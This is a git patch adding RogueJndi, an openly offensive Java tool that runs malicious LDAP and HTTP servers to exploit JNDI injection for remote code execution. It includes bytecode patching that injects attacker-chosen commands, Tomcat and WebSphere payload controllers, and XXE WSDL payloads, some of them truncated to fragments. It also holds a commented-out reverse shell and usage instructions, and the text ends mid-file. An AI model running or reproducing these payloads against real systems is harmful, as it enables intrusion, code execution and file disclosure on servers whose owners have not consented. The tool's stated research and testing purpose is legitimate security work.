From 2f7e814f60055a0dd0d90419cdc81e269724607f Mon Sep 17 00:00:00 2001 From: Michael Stepankin Date: Wed, 13 Nov 2019 18:17:07 +0000 Subject: [PATCH] Initial --- .gitignore | 16 ++ LICENSE | 21 +++ README.md | 84 ++++++++++ pom.xml | 92 +++++++++++ src/main/java/artsploit/Config.java | 57 +++++++ src/main/java/artsploit/ExportObject.java | 62 ++++++++ src/main/java/artsploit/HttpServer.java | 147 ++++++++++++++++++ src/main/java/artsploit/LdapServer.java | 90 +++++++++++ src/main/java/artsploit/RogueJndi.java | 15 ++ src/main/java/artsploit/Utilities.java | 43 +++++ .../artsploit/annotations/LdapMapping.java | 12 ++ .../artsploit/controllers/LdapController.java | 7 + .../controllers/PropertiesRefAddr.java | 19 +++ .../controllers/RemoteReference.java | 40 +++++ .../java/artsploit/controllers/Tomcat.java | 57 +++++++ .../artsploit/controllers/WebSphere1.java | 57 +++++++ .../artsploit/controllers/WebSphere2.java | 59 +++++++ src/test/java/RogueJndiTest.java | 54 +++++++ src/test/java/TestingSecurityManager.java | 22 +++ 19 files changed, 954 insertions(+) create mode 100755 .gitignore create mode 100644 LICENSE create mode 100755 README.md create mode 100755 pom.xml create mode 100755 src/main/java/artsploit/Config.java create mode 100755 src/main/java/artsploit/ExportObject.java create mode 100755 src/main/java/artsploit/HttpServer.java create mode 100644 src/main/java/artsploit/LdapServer.java create mode 100755 src/main/java/artsploit/RogueJndi.java create mode 100644 src/main/java/artsploit/Utilities.java create mode 100644 src/main/java/artsploit/annotations/LdapMapping.java create mode 100644 src/main/java/artsploit/controllers/LdapController.java create mode 100644 src/main/java/artsploit/controllers/PropertiesRefAddr.java create mode 100644 src/main/java/artsploit/controllers/RemoteReference.java create mode 100644 src/main/java/artsploit/controllers/Tomcat.java create mode 100644 src/main/java/artsploit/controllers/WebSphere1.java create mode 100644 src/main/java/artsploit/controllers/WebSphere2.java create mode 100644 src/test/java/RogueJndiTest.java create mode 100644 src/test/java/TestingSecurityManager.java diff --git a/.gitignore b/.gitignore new file mode 100755 index 0000000..ce242b7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +# java +*.class + +# mvn +target/ + +# eclipse +.classpath +.project +.settings/ + +# idea +.idea/ +*.iml + +dependency-reduced-pom.xml \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d3a3e73 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Michael Stepankin + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100755 index 0000000..95f09c6 --- /dev/null +++ b/README.md @@ -0,0 +1,84 @@ +## Rogue JNDI +A malicious LDAP server for JNDI injection attacks. + +### Description +The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
+In order to perform an attack, you can start these servers localy and then trigger a JNDI resolution on the vulnerable client, e.g.: +```java +InitialContext.lookup("ldap://your_server.com:1389/o=reference"); +``` +It will initiate a connection from the vulnerable clinet to the local LDAP server. +Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. + +### Motivation +In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of [ObjectFactories](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html). + +### Supported payloads +* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191 +* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** +* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory** +* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory** + +### Usage +``` +$ java -jar target/RogueJndi-1.0.jar -h ++-+-+-+-+-+-+-+-+-+ +|R|o|g|u|e|J|n|d|i| ++-+-+-+-+-+-+-+-+-+ +Usage: java -jar target/RogueJndi-1.0.jar [options] + Options: + -c, --command Command to execute on the target server (default: + /Applications/Calculator.app/Contents/MacOS/Calculator) + -n, --hostname Local HTTP server hostname (required for remote + classloading and websphere payloads) (default: + 192.168.1.10) + -l, --ldapPort Ldap bind port (default: 1389) + -p, --httpPort Http bind port (default: 8000) + --wsdl [websphere1 payload option] WSDL file with XXE payload + (default: /list.wsdl) + --localjar [websphere2 payload option] Local jar file to load (this + file should be located on the remote server) (default: + ../../../../../tmp/jar_cache7808167489549525095.tmp) + -h, --help Show this help +``` +The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c). + +As an alternative to the "-c" option, you can modify the [ExportObject.java](/src/main/java/artsploit/ExportObject.java) file by putting java code you want to execute on the target server. + +### Example: +``` +$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10" ++-+-+-+-+-+-+-+-+-+ +|R|o|g|u|e|J|n|d|i| ++-+-+-+-+-+-+-+-+-+ +Starting HTTP server on 0.0.0.0:8000 +Starting LDAP server on 0.0.0.0:1389 +Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference +Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference +Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat +Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 +Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 +Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 +Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 +``` + + +### Building +Java v1.7+ and Maven v3+ required +``` +mvn package +``` + +### Disclamer +This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack. + +### Special Thanks +* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks +* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository +* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research + +### Links +* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog + +### Authors +[Michael Stepankin](https://twitter.com/artsploit), Veracode Research \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100755 index 0000000..aca5bb5 --- /dev/null +++ b/pom.xml @@ -0,0 +1,92 @@ + + 4.0.0 + + RogueJndi + RogueJndi + 1.0 + + jar + + + + com.unboundid + unboundid-ldapsdk + 3.1.1 + + + org.apache.tomcat.embed + tomcat-embed-core + 8.5.45 + + + + org.apache.tomcat.embed + tomcat-embed-el + 8.5.45 + + + + com.beust + jcommander + 1.78 + + + + org.reflections + reflections + 0.9.11 + + + + org.apache.commons + commons-text + 1.8 + + + + junit + junit + 4.12 + test + + + + + + true + + + + + + maven-shade-plugin + 3.2.1 + + + package + + shade + + + + + artsploit.RogueJndi + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 7 + 7 + + + + + \ No newline at end of file diff --git a/src/main/java/artsploit/Config.java b/src/main/java/artsploit/Config.java new file mode 100755 index 0000000..abe227b --- /dev/null +++ b/src/main/java/artsploit/Config.java @@ -0,0 +1,57 @@ +package artsploit; + +import com.beust.jcommander.JCommander; +import com.beust.jcommander.Parameter; +import com.beust.jcommander.UnixStyleUsageFormatter; + +import java.net.InetAddress; +import java.net.UnknownHostException; + +public class Config { + + @Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0) + public static String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; + + @Parameter(names = {"-n", "--hostname"}, description = "Local HTTP server hostname " + + "(required for remote classloading and websphere payloads)", order = 1) + public static String hostname; + + static { + try { //try to get the local hostname by default + hostname = InetAddress.getLocalHost().getHostAddress(); + } catch (UnknownHostException e) { + hostname = "127.0.0.1"; + } + } + + @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) + public static int ldapPort = 1389; + + @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) + public static int httpPort = 8000; + + @Parameter(names = {"--wsdl"}, description = "[websphere1 payload option] WSDL file with XXE payload", order = 4) + public static String wsdl = "/list.wsdl"; + + @Parameter(names = {"--localjar"}, description = "[websphere2 payload option] Local jar file to load " + + "(this file should be located on the remote server)", order = 5) + public static String localjar = "../../../../../tmp/jar_cache7808167489549525095.tmp"; + + @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") + private static boolean help = false; + + public static void applyCmdArgs(String[] args) { + //process cmd args + JCommander jc = JCommander.newBuilder() + .addObject(new Config()) + .build(); + jc.parse(args); + jc.setProgramName("java -jar target/RogueJndi-1.0.jar"); + jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); + + if(help) { + jc.usage(); //if -h specified, show help and exit + System.exit(0); + } + } +} \ No newline at end of file diff --git a/src/main/java/artsploit/ExportObject.java b/src/main/java/artsploit/ExportObject.java new file mode 100755 index 0000000..86960f0 --- /dev/null +++ b/src/main/java/artsploit/ExportObject.java @@ -0,0 +1,62 @@ +package artsploit; + +import javax.naming.Context; +import javax.naming.Name; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.Hashtable; + +/** + * ExportObject class is served via HTTP for URLClassloaders + * the bytecode of this constructor is patched in the {@link HttpServer} class + * by adding a new Runtime.exec(Config.command) to the top of the constructor + * feel free to any code you want to execute on the target here + */ +public class ExportObject implements javax.naming.spi.ObjectFactory { + public ExportObject() { + try { + //oob check +// Runtime.getRuntime().exec("nslookup jndi.x.artsploit.com"); +// Runtime.getRuntime().exec("calc.exe"); + + //Pure Groovy/Java Reverse Shell + //snatched from https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 +// String lhost = "127.0.0.1"; +// int lport = 8080; +//// String cmd = "cmd.exe"; //win +// String cmd="/bin/bash"; //linux +// Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); +// Socket s = new Socket(lhost,lport); +// InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); +// OutputStream po = p.getOutputStream(), so = s.getOutputStream(); +// while(!s.isClosed()) { +// while(pi.available() > 0) +// so.write(pi.read()); +// while(pe.available() > 0) +// so.write(pe.read()); +// while(si.available() > 0) +// po.write(si.read()); +// so.flush(); +// po.flush(); +// Thread.sleep(50); +// try { +// p.exitValue(); +// break; +// } catch (Exception e){ +// +// } +// } +// p.destroy(); +// s.close(); + + } catch(Exception e) { + e.printStackTrace(); + } + } + + @Override + public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) { + return null; + } +} \ No newline at end of file diff --git a/src/main/java/artsploit/HttpServer.java b/src/main/java/artsploit/HttpServer.java new file mode 100755 index 0000000..0652365 --- /dev/null +++ b/src/main/java/artsploit/HttpServer.java @@ -0,0 +1,147 @@ +package artsploit; + +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.apache.commons.lang3.reflect.FieldUtils; +import org.reflections.Reflections; + +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.util.concurrent.Executors; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipEntry; + +import static org.apache.commons.text.StringEscapeUtils.escapeJava; + +public class HttpServer implements HttpHandler { + + byte[] exportByteCode; + byte[] exportJar; + + public static void start() throws Exception { + System.out.println("Starting HTTP server on 0.0.0.0:" + Config.httpPort); + com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(Config.httpPort), 10); + httpServer.createContext("/", new HttpServer()); + httpServer.setExecutor(Executors.newCachedThreadPool()); + httpServer.start(); + } + + public HttpServer() throws Exception { + exportByteCode = patchBytecode(ExportObject.class, Config.command, "xExportObject"); + exportJar = createJar(exportByteCode, "xExportObject"); + } + + /** + * Patch the bytecode of supplied class constructor by injecting execution of a command + */ + byte[] patchBytecode(Class clazz, String command, String newName) throws Exception { + + //load ExploitObject.class bytecode + ClassPool classPool = ClassPool.getDefault(); + CtClass exploitClass = classPool.get(clazz.getName()); + + //patch its bytecode by adding a new command + CtConstructor m = exploitClass.getConstructors()[0]; + m.insertBefore("{ Runtime.getRuntime().exec(\"" + escapeJava(command) + "\"); }"); + exploitClass.setName(newName); + exploitClass.detach(); + return exploitClass.toBytecode(); + } + + /** + * Create an executable jar based on supplied bytecode + */ + byte[] createJar(byte[] exportByteCode, String className) throws Exception { + + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); + jarOut.putNextEntry(new ZipEntry(className + ".class")); + jarOut.write(exportByteCode); + jarOut.closeEntry(); + jarOut.close(); + bout.close(); + + return bout.toByteArray(); + } + + public void handle(HttpExchange httpExchange) { + try { + String path = httpExchange.getRequestURI().getPath(); + System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path); + + switch (path) { + case "/xExportObject.class": + //send xExportObject bytecode back to client + httpExchange.sendResponseHeaders(200, exportByteCode.length); + httpExchange.getResponseBody().write(exportByteCode); + break; + + case "/xExportObject.jar": + //send xExportObject bytecode in a jar archive + //payload for artsploit.controllers.WebSphere1-2 + httpExchange.sendResponseHeaders(200, exportJar.length+1); + httpExchange.getResponseBody().write(exportJar); + System.out.println("Stalling connection for 60 seconds"); + Thread.sleep(60000); + System.out.println("Release stalling..."); + break; + + case "/upload.wsdl": + //payload for artsploit.controllers.WebSphere1-2 + //intended to upload xExploitObject.jar into the /temp directory on server + String uploadWsdl = ""; + httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); + httpExchange.getResponseBody().write(uploadWsdl.getBytes()); + break; + + case "/xx.http": + //payload for artsploit.controllers.WebSphere1-2 + //second part for upload.wsdl + String xxhttp = "'>'>%ccc;"; + httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length); + httpExchange.getResponseBody().write(xxhttp.getBytes()); + break; + + case "/list.wsdl": + //payload for artsploit.controllers.WebSphere1-2 + //intended to list files in the /temp directory on server + String listWsdl = "" + + "\n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; + + httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length); + httpExchange.getResponseBody().write(listWsdl.getBytes()); + break; + + case "/xxeLog": + //xxe logger for websphere wsdl payloads + //hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req + Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); + + System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m"); + httpExchange.sendResponseHeaders(200, 0); + break; + + default: + httpExchange.sendResponseHeaders(200, 0); + } + httpExchange.close(); + } catch(Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java new file mode 100644 index 0000000..4a19857 --- /dev/null +++ b/src/main/java/artsploit/LdapServer.java @@ -0,0 +1,90 @@ +package artsploit; + +import artsploit.annotations.LdapMapping; +import artsploit.controllers.LdapController; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.reflections.Reflections; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.lang.reflect.Constructor; +import java.net.InetAddress; +import java.util.Set; +import java.util.TreeMap; + +class LdapServer extends InMemoryOperationInterceptor { + + TreeMap routes = new TreeMap<>(); + + public static void start() { + try { + System.out.println("Starting LDAP server on 0.0.0.0:" + Config.ldapPort); + InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + serverConfig.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + Config.ldapPort, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + serverConfig.addInMemoryOperationInterceptor(new LdapServer()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); + ds.startListening(); + } + catch ( Exception e ) { + e.printStackTrace(); + } + } + + public LdapServer() throws Exception { + + //find all classes annotated with @LdapMapping + Set> controllers = new Reflections(this.getClass().getPackage().getName()) + .getTypesAnnotatedWith(LdapMapping.class); + + //instantiate them and store in the routes map + for(Class controller : controllers) { + Constructor cons = controller.getConstructor(); + LdapController instance = (LdapController) cons.newInstance(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + for(String mapping : mappings) { + if(mapping.startsWith("/")) + mapping = mapping.substring(1); //remove first forward slash + + System.out.printf("Mapping ldap://%s:%s/%s to %s\n", + Config.hostname, Config.ldapPort, mapping, controller.getName()); + routes.put(mapping, instance); + } + } + } + + /** + * {@inheritDoc} + * + * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + */ + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = result.getRequest().getBaseDN(); + LdapController controller = null; + //find controller + for(String key: routes.keySet()) { + //compare using wildcard at the end + if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) { + controller = routes.get(key); + break; + } + } + try { + controller.sendResult(result, base); + } catch (Exception e1) { + e1.printStackTrace(); + } + } +} diff --git a/src/main/java/artsploit/RogueJndi.java b/src/main/java/artsploit/RogueJndi.java new file mode 100755 index 0000000..32bc5b0 --- /dev/null +++ b/src/main/java/artsploit/RogueJndi.java @@ -0,0 +1,15 @@ +package artsploit; + +public class RogueJndi { + + public static void main(String[] args) throws Exception { + System.out.println( + "+-+-+-+-+-+-+-+-+-+\n" + + "|R|o|g|u|e|J|n|d|i|\n" + + "+-+-+-+-+-+-+-+-+-+" + ); + Config.applyCmdArgs(args); + HttpServer.start(); + LdapServer.start(); + } +} \ No newline at end of file diff --git a/src/main/java/artsploit/Utilities.java b/src/main/java/artsploit/Utilities.java new file mode 100644 index 0000000..d894091 --- /dev/null +++ b/src/main/java/artsploit/Utilities.java @@ -0,0 +1,43 @@ +package artsploit; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.util.ArrayList; + +public class Utilities { + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String makeJavaScriptString(String str) { + + ArrayList result = new ArrayList<>(str.length()); + for(int i=0; i